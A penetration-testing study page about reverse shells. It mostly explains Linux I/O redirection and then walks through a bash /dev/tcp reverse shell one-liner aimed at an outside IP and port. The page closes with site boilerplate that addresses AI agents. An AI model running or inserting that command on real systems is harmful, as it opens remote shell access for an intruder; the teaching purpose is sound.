# Reverse Shell

Important Resources:

{% embed url="<https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#tools>" %}

[Reverse Shell Blog](https://medium.com/@cuncis/reverse-shell-cheat-sheet-creating-and-using-reverse-shells-for-penetration-testing-and-security-d25a6923362e)

Bash Reverse Shell:

{% embed url="<https://youtu.be/OjkVep2EIlw?si=eM2_TfwxyOSxShLf>" %}

NetCat Reverse Shell:

{% embed url="<https://youtu.be/_q_ZCy-hEqg?si=Qe8lTikqtOMZBLmE>" %}

In Linux, I/O redirection allows you to change the default source or destination for standard input (stdin), standard output (stdout), and standard error (stderr). Normally, a program reads input from the keyboard (stdin) and writes output to the terminal screen (stdout). Redirection changes this flow, allowing input and output to come from or go to files, devices, or other programs. Standard Input, Output, and Error

```
stdin (Standard Input): Input to a program (usually the keyboard). File descriptor 0.
stdout (Standard Output): Output from a program (usually displayed in the terminal). File descriptor 1.
stderr (Standard Error): Error messages from a program (also usually displayed in the terminal). File descriptor 2.
```

Redirection Operators

```
> (Redirect Output to File)

Redirects the output of a command to a file, overwriting the file if it exists.

Example:
```

echo "Hello, world!" > output.txt

```
This command writes the string "Hello, world!" to a file named output.txt. If the file exists, it will be overwritten; otherwise, a new file will be created.
```

> > (Append Output to File)

Similar to >, but it appends the output to the file rather than overwriting it.

Example:

echo "Another line" >> output.txt

```
This command appends "Another line" to output.txt.
```

< (Redirect Input from File)

Redirects input from a file instead of reading from the keyboard.

Example:

cat < input.txt

```
This command takes the content of input.txt as input and displays it using cat.
```

2> (Redirect Standard Error to a File)

Redirects stderr (error messages) to a file.

Example:

ls non\_existent\_directory 2> error\_log.txt

```
This command tries to list a non-existent directory. The error message will be redirected to error_log.txt instead of being printed to the terminal.
```

2>&1 (Redirect Standard Error to Standard Output)

This redirects stderr to the same place as stdout. Essentially, it combines both error messages and regular output into one stream.

Example:

ls non\_existent\_directory > output.txt 2>&1

```
This command attempts to list a non-existent directory. It redirects both the regular output (if any) and the error messages into output.txt.
```

\| (Pipe)

The pipe operator | allows you to send the output of one command directly as input to another command.

Example:

```
echo "Hello, world!" | tr 'a-z' 'A-Z'

    This command takes the string "Hello, world!" as input and pipes it into the tr command, which converts it to uppercase, resulting in "HELLO, WORLD!" being output.
```

Combined Example:

Let’s put some of these together to see a more practical example:

echo "This is a message" > output.txt cat output.txt 2> error.log echo "This message will go to both output and error" > output.txt 2>&1

Breakdown:

```
echo "This is a message" > output.txt:
    The string "This is a message" is written to output.txt, creating the file if it doesn’t exist or overwriting it if it does.

cat output.txt 2> error.log:
    This reads the content of output.txt. If any error occurs (e.g., the file doesn’t exist), the error message would go to error.log. If the file is read successfully, no error would occur, and nothing would be written to error.log.

echo "This message will go to both output and error" > output.txt 2>&1:
    The output and error are redirected to the same place. In this case, they will both go to output.txt. If there were any errors, they would also be saved in output.txt.

```

The `0>&1` expression in Bash (or in a shell that supports I/O redirection) is a way to redirect **standard input (stdin)** (which is file descriptor `0`) to **standard output (stdout)** (which is file descriptor `1`). To understand this fully, let’s break it down into parts and explain each element in detail.

#### Components of `0>&1`

1. **File Descriptors**:
   * Every process in Linux has three standard file descriptors associated with it by default:
     * **`0`**: Standard Input (stdin) – where the process reads input (usually from the keyboard).
     * **`1`**: Standard Output (stdout) – where the process writes its output (usually displayed on the terminal).
     * **`2`**: Standard Error (stderr) – where the process writes error messages (also displayed on the terminal).
2. **Redirection in Bash**:
   * Redirection allows you to change where input and output come from or go to, using operators like `>`, `<`, `2>`, `>>`, etc.
   * **`>&`** is a redirection operator that is used to duplicate file descriptors.
3. **What `0>&1` Does**:
   * **`0`** refers to **stdin** (standard input).
   * **`>&`** is the operator used to duplicate one file descriptor to another.
   * **`1`** refers to **stdout** (standard output).

So, `0>&1` means **"redirect standard input (stdin) to standard output (stdout)"**. This essentially makes the input (what you type into the terminal) come from the same place as the output (what the program prints to the terminal).

#### In Context: Why Use `0>&1`?

This redirection is often used when creating **reverse shells** or when manipulating the flow of input/output between processes. For example:

**Reverse Shell Example:**

A common use case for `0>&1` in combination with `bash` is setting up a reverse shell, where the input and output of the shell are connected to a network socket or another program.

Here’s an example:

```
bash -i >& /dev/tcp/10.10.14.4/1234 0>&1
```

This command establishes a connection to a remote IP address (`10.10.14.4`) on port `1234`, and it does the following:

* **`bash -i`**: Runs Bash in interactive mode.
* **`>& /dev/tcp/10.10.14.4/1234`**: Redirects **stdout** and **stderr** (the output and error streams) to the TCP connection at `10.10.14.4:1234`. This means all output from the Bash shell will be sent over the network.
* **`0>&1`**: Redirects **stdin** (input) to the same place as **stdout**, which in this case is the network connection. This means that input (commands) will come from the remote machine over the TCP connection.

Thus, the shell gets its input and sends its output over the TCP connection, effectively creating a reverse shell.\ <br>

**Basic Command with `0>&1` Redirection:**

```
echo "Hello" > output.txt 0>&1
```

1. * In this case, `0>&1` means that the shell’s **stdin** (which would usually be from the keyboard) is redirected to the **stdout**. However, since we're redirecting **stdout** to a file (`output.txt`), it has no practical effect on this specific command. The key idea is that **input is now coming from stdout**, but there’s no effect unless we also use a pipe or a network socket.

#### Practical Explanation of `0>&1`:

1. **Input/Output Duplication**:
   * `0>&1` duplicates **stdin** to **stdout**. This means whatever you type as input (usually to the terminal) gets sent to wherever **stdout** is directed, which could be a file, a pipe, or a network connection.
2. **Useful in Network Communication**:
   * The most common practical use is for reverse shells, where the input and output streams of a Bash shell are connected to a network connection, allowing remote control of the machine.
3. **Redirecting I/O Streams in Complex Pipelines**:
   * In some more complex shell scripting, you might want to capture both **stdout** and **stdin** or combine them in specific ways. For example, `0>&1` can be used to direct user input from one stream (like a TCP connection) instead of from the terminal.

#### Conclusion:

The expression `0>&1` redirects **standard input (stdin)** to **standard output (stdout)**. It’s commonly used in situations like reverse shells, where the input to a command or shell is obtained from the same place as the output (often a network socket or another program). It allows processes to take input from their output stream, facilitating complex behaviors like remote access or inter-process communication.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://n0m4dsec.gitbook.io/sec-book/additional-topics/reverse-shell.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.